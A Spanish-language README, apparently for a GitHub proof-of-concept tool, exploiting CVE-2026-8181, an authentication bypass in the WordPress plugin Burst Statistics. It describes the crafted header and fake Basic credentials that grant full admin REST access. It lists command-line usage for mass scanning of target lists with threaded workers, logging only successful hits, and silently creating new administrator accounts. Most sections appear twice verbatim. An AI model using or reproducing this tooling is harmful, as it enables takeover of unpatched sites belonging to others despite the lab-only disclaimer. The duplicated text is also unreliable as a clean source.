
PoC de CVE-2026-8181: Bypass de autenticación en Burst Statistics (3.4.0–3.4.1.1). Herramienta Python — escaneos de objetivo único y múltiple, trabajadores en hilos, informes TXT. Solo para pruebas autorizadas. Mantenedor: mürrez.
| Campo | Detalle |
|---|---|
| ¿Qué? | Bypass de autenticación (CWE-287) en Burst Statistics: cabeceras diseñadas pueden escalar solicitudes REST a contexto de administrador completo. |
| Versiones | Vulnerable: 3.4.0, 3.4.1, 3.4.1.1 · Usar: 3.4.2 o superior |
| Gravedad | CVSS ~9.8 (Crítico); remoto, sin autenticación en condiciones aplicables. |
| Este repo | CVE-2026-8181.py — automatización de laboratorio: objetivo único, lista masiva, pool de hilos, salida TXT selectiva. |
Nota: La cifra de 200,000+ instalaciones activas en WordPress.org es la base de usuarios total del plugin — no significa que todos los sitios ejecuten una versión vulnerable. El impacto real requiere verificar versión + entorno (disponibilidad de HTTP / contraseña de aplicación, etc.).
| Campo | Detalle |
|---|---|
| ¿Qué? | Bypass de autenticación (CWE-287) en Burst Statistics: cabeceras diseñadas pueden escalar solicitudes REST a contexto de administrador completo. |
| Versiones | Vulnerable: 3.4.0, 3.4.1, 3.4.1.1 · Usar: 3.4.2 o superior |
| Gravedad | CVSS ~9.8 (Crítico); remoto, sin autenticación en condiciones aplicables. |
| Este repo | CVE-2026-8181.py — automatización de laboratorio: objetivo único, lista masiva, pool de hilos, salida TXT selectiva. |
Nota: La cifra de 200,000+ instalaciones activas en WordPress.org es la base de usuarios total del plugin — no significa que todos los sitios ejecuten una versión vulnerable. El impacto real requiere verificar versión + entorno (disponibilidad de HTTP / contraseña de aplicación, etc.).
GitHub-Flavored Markdown no incrusta GIFs binarios sin un archivo en el repo. Los fragmentos Typing SVG anteriores (CDN) simulan movimiento. Para agregar tu propia captura de pantalla:

GitHub-Flavored Markdown no incrusta GIFs binarios sin un archivo en el repo. Los fragmentos Typing SVG anteriores (CDN) simulan movimiento. Para agregar tu propia captura de pantalla:

flowchart LR
A[Solicitud del cliente] --> B[X-BURSTMAINWP: 1]
A --> C[Authorization: Basic]
B --> D[plugins_loaded]
D --> E[is_mainwp_authenticated]
E --> F{wp_authenticate_application_password == null?}
F -->|Rama mal manejada| G[get_user_by login]
G --> H[wp_set_current_user]
H --> I[REST: contexto de administrador completo]
flowchart LR
A[Solicitud] --> B[X-BURSTMAINWP: 1]
A --> C[Authorization: Basic]
B --> D[plugins_loaded]
D --> E[is_mainwp_authenticated]
E --> F{wp_authenticate_application_password == null?}
F -->|Rama incorrecta| G[get_user_by login]
G --> H[wp_set_current_user]
H --> I[REST: contexto de administrador completo]
| Característica | Descripción |
|---|---|
| Objetivo único | -u URL base |
| Lista masiva | -f targets.txt (una URL por línea; comentarios con #) |
| Concurrencia | -j N trabajadores (con límite) |
| Archivo combinado | -o archivo.txt — con -f, solo se añaden los exploits exitosos |
| Archivos por host | --output-dir — solo éxitos obtienen host.txt (fallos omitidos) |
| Nuevo admin | --create-user — usuario aleatorio vía REST (la contraseña aparece en el informe) |
| TLS (lab) | -k desactiva verificación de certificados (solo labs de confianza) |
Con -f, -o y --output-dir son mutuamente excluyentes.
| Característica | Descripción |
|---|---|
| Objetivo único | -u URL base |
| Lista masiva | -f targets.txt (una URL por línea; comentarios con #) |
| Concurrencia | -j N trabajadores (con límite) |
| Archivo combinado | -o archivo.txt — con -f, solo se añaden los exploits exitosos |
| Archivos por host | --output-dir — solo éxitos obtienen host.txt (fallos omitidos) |
| Nuevo admin | --create-user — usuario aleatorio vía REST (la contraseña aparece en el informe) |
| TLS (lab) | -k desactiva verificación de certificados (solo labs de confianza) |
Con -f, -o y --output-dir son mutuamente excluyentes.
pip3 install requests urllib3
# Sitio único, archivo de informe
python3 CVE-2026-8181.py -u http://lab.local -U admin -o report.txt -k
# Sitio único + nuevo admin (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# Lista masiva + archivo combinado (solo éxitos)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# Lista masiva + archivos por host en carpeta (solo éxitos)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
# Sitio único, archivo de informe
python3 CVE-2026-8181.py -u http://lab.local -U admin -o informe.txt -k
# Sitio único + nuevo admin (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o informe.txt -k
# Lista masiva + archivo combinado (solo éxitos)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o exitos.txt -k
# Lista masiva + archivos por host en carpeta (solo éxitos)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./resultados -k
Password: vacíoUn bypass exitoso no filtra la contraseña real del usuario víctima — la contraseña Basic en el PoC es falsa. La línea Password: permanece vacía a menos que --create-user haya creado una nueva cuenta (entonces se escribe la contraseña generada).
Un bypass exitoso no filtra la contraseña real del usuario víctima — la contraseña Basic en el PoC es falsa. La línea Password: permanece vacía a menos que --create-user haya creado una nueva cuenta (entonces se escribe la contraseña generada).
Solo para evaluaciones autorizadas por escrito y tu propio laboratorio. El uso no autorizado es ilegal en muchas jurisdicciones. Los autores y el mantenedor de este README no asumen ninguna responsabilidad por el mal uso.
Solo para evaluaciones autorizadas por escrito y tu propio laboratorio. El uso no autorizado es ilegal en muchas jurisdicciones. Los autores y el mantenedor de este README no asumen ninguna responsabilidad por el mal uso.